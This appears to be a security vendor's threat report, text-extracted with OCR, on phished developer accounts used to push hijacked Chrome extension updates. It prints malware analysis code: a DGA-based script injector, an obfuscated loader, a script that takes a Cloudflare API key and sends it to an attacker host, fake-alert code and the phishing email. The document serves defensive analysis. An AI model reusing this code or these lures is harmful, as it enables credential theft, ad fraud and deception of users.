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Overview

Chrome Extensions are a powerful means of adding functionality to the Chrome browser with features ranging from easier
posting of content on social media to integrated developer tools. At the end of July and beginning of August, several Chrome

Extensions were compromised after their author’s Google Account credentials were stolen via a phishing scheme. This

resulted in hijacking of traffic and exposing users to potentially malicious popups and credential theft.

We specifically examined the “Web Developer 0.4.9” extension compromise, but found evidence that “Chrometana 1.1.3”,
“Infinity New Tab 3.12.3” [8][10] , “CopyFish 2.8.5” [9], “Web Paint 1.2.1” [11], and “Social Fixer 20.1.1” [12] were
modified using the same modus operandi by the same actor. We believe that the Chrome Extensions TouchVPN and

Betternet VPN were also compromised in the same way at the end of June.
Analysis

On August 12 Chris Pederick reported [1] that his Extension, Web Developer for Chrome, had been compromised (Figure

1).
Chris Pederick
1= @chrispederick

The Web Developer for Chrome account has
been compromised and a hacked version of

the extension (0.4.9) uploaded ==

4:25 PM - 2 Aug 2017

Figure 1: Chris Pederick’s tweet from August 2, 2017 regarding the compromise of his Web Developer for Chrome Extension

We retrieved the compromised version and isolated the injected code.

égé Web Developer 040 o Enabled (]
Adds a toolbar button with various web developer tools, The offidal port of the Web

Developer extension for Firefox,

Details  Options  Reload (Ctrl+R)

1D: bfbarmeneiokkgbdmiekhjnmfkenldhhm
Sllow in incognito  «f Allow access to file URLs

Figure 2: Web Developer 0.4.9 Chrome Extension published by a bad actor after the legitimate extension was compromised
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] chrome.storage.local.get|(
1 if (item && item.installed) {
installed = item.installed;
console.log('Installed:' + installed):

i, function (item) [

1 if (installed) {
console.log ('L

+ (Date.mow() - installed)):

1 if ((Date.now() - installed) > 10 % &0 # 1000) {
console.log{'Now') ;

var date = new Date():
var day = date.getUTCDate () ;

var month = date.getUICMonth() + 1:
var year = date.getUICFull¥ear():

var hour = date.getUTCHours():
console.log(hour) ;

var d = day + '-' + month + '-' + year:

console.log{d) ;

var hash = "wd" + mdS{d) + ".u

console.log{hash) ;

var config_fragment = '<sc' + 'ri' + 'pt Ir' + 'c="ht'+ 'tp' + 's://' + hash + ' js"s></ac '+ 'ri' 4 'pt>':

var rangs = document.createRangs ()
range.secStart (document.body, 0);
document.body. appendChild (range.createContextualFragment (config_fragment)):
2 1
H ¥
- N

var WebDeveloper = WebDeveloper || {}: // esslint-disable-line no-use-before-define

Figure 3: Snippet of the inserted code in content.js from the compromised version of Web Developer 0.4.9

In general terms, the compromised extension first checks to ensure that the Chrome Extension has been installed for 10

minutes using the following line of code:
if ((Date.now() - installed) > 10 * 60 * 1000)

Before proceeding with the rest of the extension code, compromised components of the extension retrieve a remote file,

ga.js, over HTTPS from a server whose domain is generated via a domain generation algorithm (DGA):

var date = new Date();

var day = date.getUTCDate();

var month = date.getUTCMonth() + 1;
var year = date.getUTCFull Year();
var hour = date.getUTCHours();

var d = day + '-' + month + '-' + year;

var hash = "wd" + md5(d) + ".win";

On August 2, for example, the network request was:
https://wd7bdb20e4d622{6569f3e8503138c859d[.Iwin/ga.js.
At that time, the file was served by Cloudflare.

The day after, the network request was:

https://wd8a2b7d68f1c7c7f34381dc1a198465b4[. Jwin/ga.js

1"\

-\ 270 \XT4\x
1f(top[_0x4d27

\x
0xb2b9x1(_0x4d27[:]]1=

N \x30\ %35\x
"\ x61 [_0x4d27[2]] [_0x4d27[1]] (_0x4d27[0]}>

-t

) {var _oxb, [_0x4d27(5]] (_0x4d27[<1) 1_| 04027 (7] ;_OXb2box1 [_0x2d27(°]]= _0X4d27[%) ;var _Oxb2boxi=
document[_0x4d27 [10]] (_0x4d27[4]) [7];_Oxb2box2[_0x4d27[12)](_0x4d27([11]] (_Oxb2b3x1, 0xb2b9x2}}) () }else (if(top[_0x4d27[3]][_0x4d27[2]][_Ox4d27[
111(_0x4d27[23])=-1){(function() {var _Oxb2bIx3=document[_Dx4d27[]](_0x4d27[%]) ;_Oxb2b3x3[_0x4d27[6]]= _Ox4d27[7]:_Oxb2b3x3[_0x4d27[=]]=

_0x4G27[14]+ _Ox$d27[15]+ _Ox4a27[15]+ _Ox4d27[17]+ _Ox4d27[17]+ _Ox4a27[ ]+ _Ox4d27[20]+ _0x4a27[21]+ _0x4d27[27]+ _0x4d27([23]+ Math[_0x4a27[
BIE * Matn[_0x€d27[24]]()) :var _Oxb2b@x2-dooument[_0x4d27 [10]] (_0x4d27(<]) [0];_OxbZbox2[_0x4d27[12)] [_0x¢d27([11]] (_Oxb2bex3, 0xb2box2
) stry(var _OxbZbdxd=document[ 0x4d27[27]7[_0x4d27[26]];_OxbZbIx4[ Ox4d27[12]] [_0x4d27[11]] (_Oxb2b3x2, 0xb2box4) jcatch (e) {document( _0x3d27[27111(
0x4d27[28]] (_0xb2b%x2) }}) () } } ; (function(_Oxb2b9x5, 0xb2b9x2, Oxb2b%x€, 0xb2b9x7, [_Ox4d27[31]]=

[ .

r

! | t r ! I !

_ _ = _ _ 111 function () { (_0xb2b9xS[_0xbZb9x8] [_0x4d27[33]1]= _0xb2b9xS[_0xb2b9xs] [_0x4d27[331111 (1) [
0x4d27[32]] (arguments) },_Oxb2boxS[_Oxb2b8x2] [_0x4d27[3¢]]= i* new Date();_Oxb2b@x®= _0Oxb2bSx2[_Ox4d27[5]] (_Oxb2ZbSxé) ,_Oxbiboxa= _Oxb2bdx2[
0x4d27[10]] (_0xb2b9x6) [0];_0xbzbIx3[_0x4d27[35)]= 1:_Oxb2bIx3[_0x4d27[2]]= _Oxb2b3x7: 0Oxb2bSxal 0x4d27[12]][_0x4d27[11]](_0xb2b9x3, 0xbZbixa
) 1) {window,document , _0x4d27[4] ,_Ox4d27[22] ,_0x4d27[30]) ;ga(_0x4d27[26],_O0x4d27[37],_0x4d27[32]) sga(_0x4d27[23] ,_0x4d27[40])

var wc = document.createElement (s
wc.type = '
we.src =

var s = document.getElementsByTagName (
s.parentHode. insertBefore (wc, 8);

RIS E

Figure 4: Step 1 remote ga.js code called by the victim’s browser using the compromised extension - retrieved August 3,
2017
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["cloudflare.com™,"indexOf","href"™ ,"location","script™,"createElement™, "type™,
"text/javascript","src","//searchtab.win/ga.j=","getElementsByTagName",
"insertBefore","parentNode","redirect2.top”,"//pa"”,"rtne”,"r-ne”,"t.me","n/co",
"de/?","pid=","9738","20&c" ,"=","random”,"floor™ ,"firstChild"™, "body", "appendChild"
;"https://www.google-analytics.com/analytics.js","ga", "GoogleAnalyticsObject™,
"push","q","1" ,"async" ,"create™,"UA-103045553 ,"auto™,"send", "pageview"]

Figure 5: Array contained in the ga.js after unescaping; note that Cloudflare immediately removed the domains when we

notified them of the malicious activity

The code from this first step allows the threat actors to conditionally call additional scripts including some to harvest

Cloudflare credentials:

- ® redirect2.top/ga s

console. log( window - onload'); // ath
console. log(window.bootstrap); // 4th
console. log(window.bootstrap.data.user.email);
console. log(window. bootstrap. atok) ;

/! console.log(window.bootstrap); // 4th

var xmlhttp = new XMLHttpRequest();
xmlhttp.open('GET', 'https://mm.cloudflare.com/api/va/user/api_key', true);
xmlhttp.setRequestHeader(“x-atok", window.bootstrap.atok);
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4) {
if(xmlhttp.status == 208) {
var obj = JSON.parse(xmlhttp.responseText);
var key = obj.result.api_key;
console. log(key);
(new Image).src = '//searchtab.win/ga.phpuser=" + encodeURIComponent(window.bootstrap.data.user.email) + '&key=' + encodeURIComponent(key);

1

b
xmlhttp.send(null);

Figure 6: Conditionally called Step 2 script allowing the actor to grab and exfiltrate Cloudflare credentials after the victim’s

login

At step 2, several other scripts can be called (Figure 7):

200 HTTP wdBa2b7d68f1c7c7f34381dc1a198465b4.win  [ga.js 3,303 applicatio...
200 HTTP partner-net.men /code/?pid=9738208 = 1,965 no-cac... textfjavasc...
200 HTTPS f.partnerwork.men  /code/code/findex_4.php 681 private... text/x-java...
200 HTTPS f.partnerwork.men /code/code/mss_3.js 412,155 public, .. applicatio..

200 HTTPS y.partnerwork.men fcode/code/index_3.php 842 private... textfxjava...
200 HTTP partner-net.men /code/?pid=9738208 = 1,465 no-cac... textfjavasc...
200 HTTP partner-net.men [code/pid/973820_BNX.js?rev=133 58,264 public .. applicatio..

Figure 7: Some of the calls generated by the injected ga.js

As shown in Figure 8, the compromised version of the extension attempts to substitute ads on the victim’s browser,

hijacking traffic from legitimate advertising networks.
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Figure 8: Sample of strings that trigger a substitution attempt (from 973820_BNX.js?rev=133)

While the attackers substituted ads on a wide range of websites, they devoted most of their energy to carefully crafted

substitutions on adult websites (Figure 9).

Page 4 of 14



https://www.proofpoint.com /us/threat-insight /post /threat-actor-goes-chrome-extension-hijacking-spree

Page 5 of 14



https://www.proofpoint.com /us/threat-insight /post /threat-actor-goes-chrome-extension-hijacking-spree

Figure 9: Code snippet demonstrating the extensive effort involved in properly substituting advertisements in adult websites;
retrieved on August 3, 2017 from 973820_BNX.js?rev=133

Figure 10 shows several additional triggers for advertising substitutions, again on adult websites and particular advertising

networks:

if (a.src 83 -
a.5rc.match(/\/\/ (show'.bumg\ . com|mg\ .mgid\ . com| d\ .otaservel.net |delivery\ .performax\. cz | adservel. adpulse\. ir| toy6o\.ru ss1-
.bongacams\. com|uw'. sabavision\ . com| adserve\ . adpulse |ads\. | serversl\. adrivert.ru|buckridgel. Link \.com| zog\. Link|excclick\. com| tsyndicatel. com| adst’
-fudccn) .conlreklam\. ngs\. rul\.ying). com a1\ ax\ rarerul.rul e com|cdn'..brand-
display\.com| syndication\.exdynsrvi.co ullf Lejet\.org|adserver\. reklamstore. con|us
ads\.openx\.net |bit\.ly|@1\.crea m|static\.gyakorikerdesei\.hu .netadcl
ishing\.com|cde .org|securepubads'.g d\.com|rtb\.imedia \.bg|reklam
\.cri .com|ad\, Fi|vg\.is\.fi|adfox\.vn|ads gnezdo\,. ru | \.net|shop\. gne:
aff\.abs-cdn\. arg\a:' Ibbanners\, com| disqusads comads-
zog\. 1ink| ind\.zog\. link traffictraffickers\. com|wmw\.mi1f\.nl|ads\.ero-
r\-vpdatetu og\. link | syndication\. exosrv\.com|ads\
N rul b33+ M4BREN . coR | prOCES SV, AEXTRES carch\.supplyframe
v|code\.barrior'..rubanner\. med a winaffiliates\.co
holderh.com.ua|£\. holder . <Lami | to ingmedial. . m | ad\ .2~
\ d alipromo\...con| ads\. adfox\ A
\.dpb\.adnegah
uinsery

m|ad\. serve-sys\ . com| ox-
dom\,.bg| jdn\ .monster\.com| secure\..adn
u|static\.smi2\.net|banners | tools\.

adse

. com|olimpbanner

\.com|u
uimserv\.net|ad\.adverticum\.net|i
m| 629gqeii\ . com| static\.drtubery.com

om| sendmad\. com| p\..nxs T\ tap| cdnh

net|ad\.anet

|backend) .opogame
\.clickyab\.com| ads2
g d\.com| usr\.dropkicknedis\. con|a\ . adnium' . :3'«|
asbientplatfors\.vn|speednetwarks\ . adk2x\ .com| ads\ .medi-
N\ com|a jownloadhal,. camp\ . sabavision\.con| fastelick\.co
3| bdfrm \.con | cdn\..waf ramediog\. con| adm\.. shinobil
.com| oascentrall .com| 53-s0-ea.

A.dsmit.ru adx g
con|ad

|adst. 1iv enbed. com |1\, axsti. ’op\cl-c'

2ol g
\.nxstx\. top| regh.axstxy

cdn\.asn\.advolution\.de|pub\.dreamboxcart\.com|ad\.doubleclick\.net |track\.adfor
\.2ednh.net | ads\ . persgrocph.net | Leaderboardh. php |z lavy\. smet. sk| adx\. admicrol

lock

com| akhtm\ .nspmotion\,
com| superkinobob\ .ru| onedriv
com| aka-cdn-

com| im b\ goha\. ru] in\ . kpyub\.
ervice\.com|dyn\.empf
oticads\. com|deliv
e\ con| ad
kandedn\

ipromotery.com|adserver\ .adtech\.de|
gitall.com|bxjch\. top|cszz\. ruladve

P
ohp| mxtads'. con| funsmit. ru|cshil.
\.adtech\.de|r\.mradx\.net |media\.
.adnxs\. com|invideo\.ero-advertising\.c
A \.com| dyn\. tnaflix\
. com|hilltapads\.n
2\.com| ins\.
2\ con| adbucks\ .brandrea: prodidge
g\.con| ad2\. adfarm1\ . adition\ . com| tpch. googles:
change_peas(a);
} else if (a.src && a.src.matc!
st\..com| promoviral\. com| 1 juo\. com| adser \.cam\betiﬁiafﬁhatzs‘ m|media\.easyads\. bg|betueendigital\.con| adriver\.ru|ng2
.eacdn\.com|newpromo| zedol, . c. P net|am15\.net|am{@-
9]#\.net | gterm\. top|clhko\. top|ozdaul. top|adoceany.pl | ijrah\. top spzzdret ‘:r-kla 9]+\.adk2x\.com) [0-9a-z]+/ing))
change_peas(a);
else if (a.id 88 a.id.
banner |actionteaser|sc_Telock| 1x_table| RTBIFR|yottos [DAIFR| 1s.
innity | INNITVFrame|openx_spot|gnr|_poster_iframe|hsoub_adplace|
_iframe|adFox_plug |oas_frame |baner[advertur | republer |y
~frame|Leaderboard |Harketing|Rectangle| sas | atuAdF rame |
3))/img)) (

=\ com| partners\ . smneuscenter\. com| ams1-
ad_detail\.htmli?

atficforcel.con|ds
|55\ phnednt,. com|
af fichaus\. con advi
Lero-

\.urldelivery\.com|ads\. trafficjunky\.ne

\.con| sds\.h2porn\ . con| adspaces\. era-

.com)/img)) {

8-5a-2]+

oyetteconnelly\.bid|ad

2d_ssyne_frame|cdxhd_ifr|adnxs_teg|utif|ants-

elirapper| adnzone | exc_v
frome|__switch_placeholder _
cul#]google,Aecrypt_frame|cte, Lframe|google ad, 1fraea|gocgle ads frams it

zid

|8d_ifr| sdfox_iframe|AdFox
ur_section|erth|eclick_ads
rame |ados_frame |adf_[@-

change_peas(a);

} else {
var fader = a.parentiode;
i (str exOT("," +w + %" +h+ ") le= -1) 2

Figure 10: Other substitution triggers (695529_BNX.js?rev=144)

The advertising substitutions work for a specific set of 33 common banner sizes including 468x60, 728x90, and many more

spanning numerous aspect ratios (Figure 11).

Figure 11: Banner formats handled by the compromised extension based on a version retrieved on August 3, 2017 rom
973820_BNX.js?rev=133

The advertising calls themselves specify the substituted banner format. For example, one particular ad call read:
b.partner-net[.Jmen/code/x/b/?pid=973820&adu=0&s=468x60

In many cases, victims were presented with fake JavaScript alerts prompting them to “repair” their PC then redirecting them
to affiliate programs from which the threat actors could profit. Figure 12 shows a malvertising chain that brings users from
the fake alert to an affiliate site; we observed the compromised extension directing victims to two such affiliates, although

others may also have been used.
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200 HTTP wdBa2b7d68f1c7c7f34381dc1a198465b4.win  [ga.js 3,303 applicatio..
200  HTTPS loading.website  falert_ce.php 25 private... textfjavasc..
200 HTTP loading,website  tds.php?subid=ce2 338 oprivate,.. textfhiml; ...
200 HTTP loading,website  floading, gif 47,932 public, ... image/gif
302 HTTP woww.mb102.com  fink.asp?o=114208c=9182718a=567548=115286... 209 private  text/himl
302 HTTP www.maxbounty.com /ink.asp?o=11420&C=9182718a=567548=1152868... 304 private text/himl

200 HTTP wip.deanmypc.online  fmxbt1/?x-context=4963063808utm_source =mxap... 51,524 private text/himl; c...
200 HTTP wip.cdeanmypconline /js/jquery.min.js 95,995 applicatio..
200 HTTP cdn.deanmypc.online  Ipfw/29/asc/lp29.css 2,153 text/ecss

200 HTTP wlp.deanmypconline [lp/lp29/1p29.js 2,006 applicatio..
200 HTTP cdn.deanmypc.online  flpfw/28/asc/Windows_7.png 9,349 image/png
200 HTTP wlp.deanmypconline /js/custom.js 4,819 applicatio..
200 HTTP cdn.deanmypc.online  fipfw/25/asc/step_2.jpa 9,034 image/fipeg
200 HTTP code.jqu /iquery-migrate-1.0.0.js 15,733 max-a.. applicatio..
200 HTTP cdn.deanmype.online  ip/w/29/asc/all_logos.jpg 13,269 image/jpeg

Figure 12: Chain to affiliate program from a fake JavaScript alert

The code generating the fake alert page is shown in Figure 13:

[ https://loading.website/: X

3 & ‘ & Secure | https:;//loading.website/alert_ce.php

var msg = 'Your computer is infected. You have to check it with antivirus.';

if (confirm{msg)) {
var tds_url = 'http://loading.website/tds.php?subid=ce2’;
top.location.href = tds_url;

T else {

}

Figure 13: Code generating the fake JavaScript alert

[3 Mpssoadingwebsiter: 3 ;| [ Get moce spoed, mates: 3

€ @ @ wipcleanmypeonline/mibt

3t=J0000(Ekoverride= o

Advance System Care I

Windows 10 PC Repair

System Iformsation:
Yeur machne s curenty g Windows 10
L avance System Care i compatile i s opersing sstem

-~ st e 1
Ly Start Downlo. e e s

Download the PC Repair Uty to scan and identiy Windows Erors on Windows 10 (] eren Rk
Update your PC and eliminate polentiel threats: o

© can your P for Vandos s wm 1 el ysing

© Romove Securty hreats and repair damage caused 4

@ Eaminate a1 Mahars 2o your PC Technologies

=
I

Click ‘Run’ o *Save
Bution when diakg 2ppears Wi one click

Start Download ‘Scan your FC for Free

L] Fims out what s sowing domn your PG

Q, Foe S Norik
L8 improm: Haroware Pertormance Takn a FREE scan oday e Advancs Syslam Cara and dicaver your
Frablems in 1 Cick
I Free up storage space it Repair Windows Errors. -
W T e et e s

Figure 14: One of the affiliate programs receiving the hijacked traffic
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‘epes *x

@ | @ landpdeepersoftware/ar ” 1 y ety Sutm 1 o palgn=p e 7195 ~ ent=& oer s

Z PCKeeper

How to Fix Problems with Windows

Recommendation:

Figure 15: Another dffiliate program receiving the hijacked traffic.

The popup alerts were also reported in May with the “Infinity New Tab” compromise. The involved code in that

compromised extension [5] is almost identical, but the DGA was slightly different:

var day = date.getDate();

var month = date.getMonth() + 1;

var year = date.getFullYear();

var d = month + /' + year;

var tds_url = 'http://' + md5(d) + '.pro/tds.php?subid=ce’;

The same malicious activity was also reported in some fake EU Cookie-Consent alerts [6] (Figure 16). The server involved
in those cases, browser-updates.]info, is the same as the one used in the “Infinity New Tab” case and most likely is an old
front for the same backend as redirect2[.]Jtop and loading[.]website. While those details are outside the scope of this blog, it

is worth noting that examining these activities allows us to trace them back to @BartBlaze’s post from July 2016 [7]:

[y Cockie Seript - Themost X

evcC ttps/fedn.coskiescriptinfo (-]

Cookie Consent Script Getthe code  Contacls

The most popular free solution to US and
European Cookie Laws

European and American laws require that digital publishers give visitors to their
sites and apps information about their use of cookies and other forms of local

storage. These laws also require that consent be obtained. A breach of these
regulations can result in a fine of up to $500,000.

oo )

les to ensure you get the best e

Page 8 of 14



https://www.proofpoint.com /us/threat-insight /post /threat-actor-goes-chrome-extension-hijacking-spree

Cookie Consent Script Uzmite kod  Kontakti

Zvani¢na besplatna opcija za Zakon o
“kolacicima” Evropske unije

Evropski zakoni nalaZu da digitalni izdavadi daju posetiocima svojih sajtova i
aplikacija informacije o upotrebi "kolagiéa” i ostalim oblicima lokalnog skladidtenja
Ovi zakoni, takode, zahtevaju dobijanje pristanka. Krienje ovih pravila moze
dovesti do novéane kazne i do 500,000 €.

u get the best experie

Figure 16: One of the servers currently used by this group to publish a trapped cookie-consent JavaScript script

Figures 17-19 show that this activity is able to generate substantial traffic:

Public info anout Browser-updates.info | update

Overview: browser-updates.info has a global Alexa ranking of 2072330 and ranked 61657 in France. The website server is using IP address
104.28 31.75 and is hosted in San Francisco, California, United States. The Google page rank of this website is N/A/10

Site Title: “Drzpeuer Ads - Display and Mabile Advertising Netwark

Description: Propeller Ads offers monetization opportunities to website owners and advertising agencies while providing advertisers access to
millions of targeted users from around the globe:

Alexa Traffic Ranks

X Whois Information
(Average of last 30 days)

Registered On 13-May-2017
Global Rank 2.072,330

Expires On 13-May-2018
Reach Rank 1,671,550

Updated On 13-May-2017
Country France

_ Regisirar NameCheap, Inc
Rank in Country 61,657
Raw Data

Last Update 2017-08-03

Domain name: browser-updates.info
Registry Domain ID: D5833000084.
Registrar WHOIS Server

Global Rank Trend of The Past Year

89548-LRMS
0is.namecheap.com

I Registrar URL: http://u amecheap.com
Updated Date: 2017-85-13T16:32:50.867

Creation Date: 2017-85-13T16:28:09.007

Registrar Registration Expiration Date: 2018-85-13T16

om Registrar: NAMECHEAP INC
Jan'17 Apr 17 Julaz Registrar IANA ID: 1068
Registrar Abuse Contact Email: abuse@namecheap.com
Registrar Abuse Contact Phone: +1.6613192167
Home Page Information Reseller: NAMECHEAP INC
Domain Status: clientTransferProhil cann
Host IP 104.28.31.75

Domain Status: serverTransferProhi cann

Qan Eranciern Calitamia | initad NAmain GFatuc: addDarind htfnc://irann ana/ann#addDan

Figure 17: Alexa report on browser-update[.]info
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Traffic Qverviewo

Total Visits @ Engagement
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Embed Graph
Total Visits 919.68K
@ Avg. Visit Duration 00:05:46
227
A cou 44.29%
What do you think about our traffic analysis? Send Feedback
Figure 18: Similarweb report on searchtab[.]Jwin
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Global Rank
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600k Rank in France
800k
|
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Figure 19: Alexa report on partner-net/[.]men
The Phishing

Our colleagues at Phishme have already examined the credential phishing that originally allowed the actors to compromise
the extensions [3]; the Web Developer extension case was almost identical:

On @D 2017 at @, chrome-dev-support (support@chromedavelopment freshdesk com) wrote:

Dear Developer,

Your Google Chrome item, " with ID: mid not comply with our program
policies and will be removed from the Google Chrome Web Store unless you e Issue.
Please log in to your developer dashboard for more information

Bit.ly link shortening https://click.rdr12[.Jtop/click.php?

Thank you for your cooperation, authuser=extension_id&ext_id=extension_id&ext_name=
Google Chrome Web Store team Extension+Name

Figure 20: Screenshot of the email used to harvest extension coder credentials

Conclusion

Threat actors continue to look for new ways to drive traffic to affiliate programs [13] and effectively surface malicious
advertisements to users. In the cases described here, they are leveraging compromised Chrome extensions to hijack traffic
and substitute advertisements on victims’ browsers. Once they obtain developer credentials through emailed phishing
campaigns, they can publish malicious versions of legitimate extensions. In addition to hijacking traffic and driving users to
questionable affiliate programs, we have also observed them gathering and exfiltrating Cloudflare credentials, providing the

actors with new means of potential future attacks.
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